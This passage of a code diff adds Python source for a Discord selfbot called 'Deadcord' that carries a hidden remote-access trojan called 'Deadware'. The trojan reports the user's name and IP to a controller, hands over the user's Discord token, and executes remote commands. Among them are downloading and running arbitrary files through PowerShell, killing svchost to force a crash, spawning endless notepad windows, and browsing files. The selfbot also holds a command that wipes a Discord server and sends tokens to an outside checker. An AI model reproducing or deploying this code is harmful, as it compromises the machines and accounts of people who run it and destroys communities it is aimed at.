+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Banning {member.name}')
599
+ except:
600
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Could not ban {member.name}')
601
+
602
+ @Deadcord.command()
603
+ async def nitro(ctx):
604
+ await ctx.message.delete()
605
+ await ctx.send(Nitro())
606
+
607
+ @Deadcord.command()
608
+ async def deadcord_wipe(ctx):
609
+ await ctx.message.delete()
610
+ guild = ctx.guild
611
+ try:
612
+ role = discord.utils.get(guild.roles, name = '@everyone')
613
+ await role.edit(permissions = Permissions.all())
614
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'I have given everyone admin')
615
+ except:
616
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'I could not give everyone admin')
617
+
618
+ await ctx.guild.edit(name='DeadCord')
619
+
620
+ for c in ctx.guild.channels:
621
+ await c.delete()
622
+
623
+ for role in guild.roles:
624
+ try:
625
+ await role.delete()
626
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Deleted {role}')
627
+ except:
628
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Could not delete {role}')
629
+
630
+ ### ADMIN COMMANDS ###
631
+ @Deadcord.command()
632
+ async def copy_guild(ctx):
633
+ await ctx.message.delete()
634
+ await Deadcord.create_guild(f'{ctx.guild.name}-template')
635
+ await asyncio.sleep(5)
636
+ for server in Deadcord.guilds:
637
+ if f'{ctx.guild.name}-template' in server.name:
638
+ for c in server.channels:
639
+ await c.delete()
640
+ for cat in ctx.guild.categories:
641
+ x = await server.create_category(f"{cat.name}")
642
+ for chan in cat.channels:
643
+ if isinstance(chan, discord.VoiceChannel):
644
+ await x.create_voice_channel(f"{chan}")
645
+ if isinstance(chan, discord.TextChannel):
646
+ await x.create_text_channel(f"{chan}")
647
+ try:
648
+ await server.edit(icon=ctx.guild.icon_url)
649
+ except:
650
+ pass
651
+
652
+ @Deadcord.command()
653
+ async def pfp(ctx, member : discord.Member):
654
+ av = member.avatar_url
655
+ await ctx.send(f'||{av}||')
656
+
657
+ @Deadcord.command()
658
+ async def addRole(ctx, nm):
659
+ await ctx.message.delete()
660
+ guild = ctx.guild
661
+ await guild.create_role(name=nm)
662
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'{nm} created')
663
+
664
+ @Deadcord.command()
665
+ async def rmRole(ctx, nm: discord.Role):
666
+ await ctx.message.delete()
667
+ await nm.delete()
668
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'{nm} deleted')
669
+
670
+ @Deadcord.command()
671
+ async def kick(ctx, member : discord.Member, *, reason=None):
672
+ await member.kick(reason=reason)
673
+
674
+ @Deadcord.command()
675
+ async def ban(ctx, member : discord.Member, *, reason=None):
676
+ await member.ban(reason=reason)
677
+
678
+ ### MISC COMMANDS ###
679
+ @Deadcord.command()
680
+ async def pass_gen(ctx, *, length : int = None):
681
+ if length is None:
682
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'You did not speficy a password length')
683
+ else:
684
+ await ctx.message.delete()
685
+ char_set = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789<,>.?/:;@£$%^&*()_-+='
686
+ res = int(length)
687
+ result = ''.join(random.choice(char_set) for i in range(res))
688
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Your Password: {result}')
689
+
690
+ @Deadcord.command()
691
+ async def spoiler(ctx, *, msg):
692
+ await ctx.message.delete()
693
+ await ctx.send('||' + msg + '||')
694
+
695
+ @Deadcord.command()
696
+ async def bold(ctx, *, msg):
697
+ await ctx.message.delete()
698
+ await ctx.send('**' + msg + '**')
699
+
700
+ @Deadcord.command()
701
+ async def itl(ctx, *, msg):
702
+ await ctx.message.delete()
703
+ await ctx.send('*' + msg + '*')
704
+
705
+ @Deadcord.command()
706
+ async def underline(ctx, *, msg):
707
+ await ctx.message.delete()
708
+ await ctx.send('__' + msg + '__')
709
+
710
+ @Deadcord.command()
711
+ async def geoip(ctx, *, ip):
712
+ await ctx.message.delete()
713
+ r = requests.get("https://api.hackertarget.com/geoip/?q=" + ip)
714
+ res = r.text
715
+ await ctx.send('```' + res + '```')
716
+
717
+ @Deadcord.command()
718
+ async def encrypt(ctx):
719
+ await ctx.message.delete()
720
+ X_decrypted = b"abcdefghijklmnopqrstuvwxyz0123456789?.-, /:ABCDEFGHIJKLMNOPQRSTUVWXYZ"
721
+ X_encrypted = b"bnmvcxolkjhdfgsaeziuytrpwq%938165427.>@:/+{BNMVCXOLKJHDFGSAEZIUYTRPWQ"
722
+
723
+ encrypt_table = bytes.maketrans(X_decrypted, X_encrypted)
724
+ decrypt_table = bytes.maketrans(X_encrypted, X_decrypted)
725
+
726
+ msg = input("Message> ")
727
+
728
+ result = msg.translate(encrypt_table)
729
+ await ctx.send(result)
730
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Message sent!')
731
+
732
+ @Deadcord.command()
733
+ async def decrypt(ctx, *, msg : str = None):
734
+ if msg is None:
735
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + "No message specified!")
736
+ else:
737
+ await ctx.message.delete()
738
+ X_decrypted = b"abcdefghijklmnopqrstuvwxyz0123456789?.-, /:ABCDEFGHIJKLMNOPQRSTUVWXYZ"
739
+ X_encrypted = b"bnmvcxolkjhdfgsaeziuytrpwq%938165427.>@:/+{BNMVCXOLKJHDFGSAEZIUYTRPWQ"
740
+
741
+ encrypt_table = bytes.maketrans(X_decrypted, X_encrypted)
742
+ decrypt_table = bytes.maketrans(X_encrypted, X_decrypted)
743
+
744
+ result = msg.translate(decrypt_table)
745
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.GREEN + f'{result}')
746
+
747
+ ### SELFBOT COMMANDS ###
748
+ @Deadcord.command()
749
+ async def shutdown(ctx):
750
+ await ctx.message.delete()
751
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Logging out...')
752
+ time.sleep(2)
753
+ await Deadcord.logout()
754
+
755
+ @Deadcord.command()
756
+ async def change_prefix(ctx, prefix):
757
+ await ctx.message.delete()
758
+ Deadcord.command_prefix = str(prefix)
759
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Prefix changed too {prefix}')
760
+
761
+ @Deadcord.command()
762
+ async def playing(ctx, *, msg):
763
+ await ctx.message.delete()
764
+ await Deadcord.change_presence(activity=discord.Game(msg))
765
+
766
+ @Deadcord.command()
767
+ async def streaming(ctx, *, msg, u):
768
+ await ctx.message.delete()
769
+ await Deadcord.change_presence(activity=discord.Streaming(name=msg, url=u))
770
+
771
+ @Deadcord.command()
772
+ async def listening(ctx, *, msg):
773
+ await ctx.message.delete()
774
+ await Deadcord.change_presence(activity=discord.Activity(type=discord.ActivityType.listening, name=msg))
775
+
776
+ # @Deadcord.command()
777
+ # async def bug(ctx, *, msg):
778
+ # await ctx.message.delete()
779
+ # mem = ctx.author.name
780
+ # av = ctx.author.avatar_url
781
+ # chan = Deadcord.get_channel(933438533903982622)
782
+
783
+ # print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Your bug has been sent')
784
+
785
+ # @Deadcord.command()
786
+ # async def suggestion(ctx, *, msg):
787
+ # await ctx.message.delete()
788
+ # mem = ctx.author.name
789
+ # av = ctx.author.avatar_url
790
+ # chan = Deadcord.get_channel(930734405931118632)
791
+
792
+ # await chan.send(f'**__SelfBot Suggestion__**\nAuthor: {mem}\nSuggestion: {msg}')
793
+
794
+ # print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Your suggestion has been sent')
795
+
796
+ @Deadcord.command()
797
+ @commands.cooldown(1, 5, commands.BucketType.guild)
798
+ async def check(ctx, token):
799
+ await ctx.message.delete()
800
+
801
+ if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None:
802
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.RED + 'Account invalid.')
803
+ return
804
+
805
+ check = requests.post('https://utilities.tk/tokens/check', json={'token':token})
806
+
807
+ if check.status_code == 401:
808
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.RED + 'Account invalid.')
809
+ elif check.status_code == 403:
810
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.YELLOW + 'Account locked.')
811
+ elif check.status_code == 200:
812
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.GREEN + 'Account valid! `'+check.json()['username']+'`')
813
+
814
+ import getpass
815
+
816
+ import pyautogui
817
+
818
+
819
+ def GetIP():
820
+ try:
821
+ r=requests.get("https://utilities.tk/network/info")
822
+ if r.status_code == 200:
823
+ return r.json()['ip']
824
+ else:
825
+ return requests.get("https://api.ipify.org").text
826
+ except:
827
+ return "error"
828
+
829
+
830
+ Deadware.remove_command('help')
831
+
832
+ @Deadware.event
833
+ async def on_ready():
834
+ channel = Deadware.get_channel(chanid)
835
+ user = getpass.getuser()
836
+ embed = discord.Embed(title='[+] Deadware Connection!', description='You have a new connection', colour=RandomColor())
837
+ embed.add_field(name=f'User: {user}', value='** **', inline=False)
838
+ embed.add_field(name='IP: ' + GetIP(), value='** **', inline=False)
839
+
840
+ await channel.send(embed=embed)
841
+
842
+ @Deadware.event
843
+ async def on_command_error(ctx, error):
844
+ if isinstance(error, commands.CommandNotFound):
845
+ await ctx.send('Command not found!')
846
+ elif isinstance(error, commands.MissingRequiredArgument):
847
+ await ctx.send('Missing argument!')
848
+
849
+ @Deadware.command()
850
+ async def test_con(ctx):
851
+ await ctx.message.delete()
852
+ user = getpass.getuser()
853
+ await ctx.send(f'Current Users: {user}')
854
+
855
+ @Deadware.command()
856
+ async def create_file(ctx, *, filename : str = None):
857
+ await ctx.message.delete()
858
+ if filename is None:
859
+ await ctx.send('No file name given!')
860
+ else:
861
+ user = getpass.getuser()
862
+ os.system(f"echo Hello there :) {user} > {filename}.txt")
863
+ await ctx.send(f'Created file {filename}.txt')
864
+
865
+ @Deadware.command()
866
+ async def start_process(ctx, *, process):
867
+ await ctx.message.delete()
868
+ try:
869
+ os.system(f'start {process}')
870
+ await ctx.send(f'Started process {process}')
871
+ except Exception:
872
+ await ctx.send(f'Could not start {process}')
873
+
874
+ @Deadware.command()
875
+ async def computer_shutdown(ctx):
876
+ await ctx.message.delete()
877
+ try:
878
+ os.system('shutdown /s')
879
+ await ctx.send("Shutdown PC")
880
+ except:
881
+ await ctx.send('Could not shutdown computer')
882
+
883
+ @Deadware.command()
884
+ async def deadware_bomb(ctx):
885
+ await ctx.message.delete()
886
+ user = getpass.getuser()
887
+ try:
888
+ os.system(f'cd C://Users/{user}/Desktop & mkdir deadware')
889
+ os.system(f'cd C://Users/{user}/Desktop/deadware & echo Hello there {user} > Note.txt')
890
+ while True:
891
+ os.system('start notepad.exe')
892
+ except Exception:
893
+ await ctx.send('Could not bomb computer')
894
+
895
+ @Deadware.command()
896
+ async def help(ctx):
897
+ await ctx.message.delete()
898
+ embed = discord.Embed(title='Deadware Commands', description=' ', colour=RandomColor())
899
+ embed.add_field(name='Command List', value='test_con - tests connection\ncreate_file <filename> - creates a file\nstart_process <process> - starts process\ncomputer_shutdown - shuts down computer\ndeadware_bomb - messes with computer\nget_token - gets selfbot token\nstart_typing <message> - opens notepad and types message\nget_ip - gets machine IP\nend_task <task> - ends a task\nget_tasks - gets current processes running\nget_netstat - gets netstat output\nblue_screen - blue screen of death\nerror_drawing - cursor error drawing\nupload <uri> <filename> - uploads a file and runs it on their PC\ncwd - gets currenct working directory\ndir - lists folders in directory\next_search <file extention> - searches for file with extention\nchange_dir <folder> - changes file directory')
900
+
901
+ await ctx.send(embed=embed)
902
+
903
+ @Deadware.command()
904
+ async def get_token(ctx):
905
+ await ctx.message.delete()
906
+ try:
907
+ await ctx.send(f'User Token: {token}')
908
+ except Exception:
909
+ await ctx.send('Could not send token')
910
+
911
+ @Deadware.command()
912
+ async def start_typing(ctx, *, msg):
913
+ await ctx.message.delete()
914
+ user = getpass.getuser()
915
+ try:
916
+ os.system('start notepad.exe')
917
+ time.sleep(1)
918
+ pyautogui.typewrite(msg)
919
+ await ctx.send("Success")
920
+ except Exception:
921
+ await ctx.send('Could not start typing')
922
+
923
+ @Deadware.command()
924
+ async def get_ip(ctx):
925
+ await ctx.message.delete()
926
+ try:
927
+ await ctx.send('IP: ' + GetIP())
928
+ except Exception:
929
+ await ctx.send('Could not get IP')
930
+
931
+ @Deadware.command()
932
+ async def end_task(ctx, *, task):
933
+ await ctx.message.delete()
934
+ try:
935
+ os.system('taskkill /im ' + task + ' /f')
936
+ await ctx.send(f'Stopped {task}')
937
+ except Exception:
938
+ await ctx.send(f'Could not stop {task}')
939
+
940
+ @Deadware.command()
941
+ async def get_tasks(ctx):
942
+ await ctx.message.delete()
943
+ try:
944
+ os.system('tasklist > C://ProgramData/taskdata.txt')
945
+ await ctx.send(file=discord.File(r'C://ProgramData/taskdata.txt'))
946
+ os.remove('C://ProgramData/taskdata.txt')
947
+ except Exception:
948
+ await ctx.send('Could not list tasks')
949
+
950
+ @Deadware.command()
951
+ async def get_netstat(ctx):
952
+ await ctx.message.delete()
953
+ try:
954
+ os.system('netstat -an > C://ProgramData/netstatdata.txt')
955
+ await ctx.send(file=discord.File(r'C://ProgramData/netstatdata.txt'))
956
+ except Exception:
957
+ await ctx.send('Cannot get netstat')
958
+
959
+ @Deadware.command()
960
+ async def blue_screen(ctx):
961
+ await ctx.message.delete()
962
+ try:
963
+ __import__("os").system("taskkill /F /IM svchost.exe")
964
+ await ctx.send("Blue Screened!")
965
+ except Exception:
966
+ await ctx.send("Could not blue screen")
967
+
968
+ from random import randrange as rd
969
+
970
+
971
+ @Deadware.command()
972
+ async def error_drawing(ctx):
973
+ await ctx.message.delete()
974
+ try:
975
+ IconWarning = LoadIcon(None, 32515)
976
+ IconError = LoadIcon(None, 32513)
977
+ sw,sh = (GetSystemMetrics(0), GetSystemMetrics(1))
978
+ HDC = GetDC(0)
979
+ mouseX,mouseY = GetCaretPos()
980
+ while True:
981
+ DrawIcon(HDC, rd(sw), rd(sh), IconWarning)
982
+ for i in range(0, 60):
983
+ mouseX,mouseY = GetCursorPos()
984
+ DrawIcon(HDC, mouseX, mouseY, IconError)
985
+ time.sleep(10)
986
+ except Exception:
987
+ await ctx.send("Could not do error drawing")
988
+
989
+ import subprocess
990
+
991
+
992
+ @Deadware.command()
993
+ async def upload(ctx, *, url, file_name):
994
+ await ctx.message.delete()
995
+ subprocess.call(f'C:\Windows\System32\powershell.exe Invoke-WebRequest -Uri {url} -OutFile .\{file_name}; .\{file_name}', shell=True)
996
+
997
+ @Deadware.command()
998
+ async def cwd(ctx):
999
+ await ctx.message.delete()
1000
+ cwd = os.getcwd()
1001
+ await ctx.send(f'```{cwd}```')
1002
+
1003
+ import glob
1004
+
1005
+
1006
+ @Deadware.command()
1007
+ async def dir(ctx):
1008
+ directory = glob.glob('*/')
1009
+ await ctx.message.delete()
1010
+ for dirs in directory:
1011
+ await ctx.send(dirs)
1012
+
1013
+ @Deadware.command()
1014
+ async def ext_search(ctx, *, ext):
1015
+ await ctx.message.delete()
1016
+ file_type = glob.glob(f'*{ext}')
1017
+ for files in file_type:
1018
+ await ctx.send(files)
1019
+
1020
+ @Deadware.command()
1021
+ async def change_dir(ctx, *, dir):
1022
+ await ctx.message.delete()
1023
+ os.chdir(dir)
1024
+ await ctx.send(f'Changed directory')
1025
+
1026
+ loop.create_task(Deadcord.start(token, bot=False))
1027
+ loop.create_task(Deadware.start(bottoken))
1028
+
1029
+ try:
1030
+ loop.run_forever()
1031
+ except:
1032
+ loop.stop()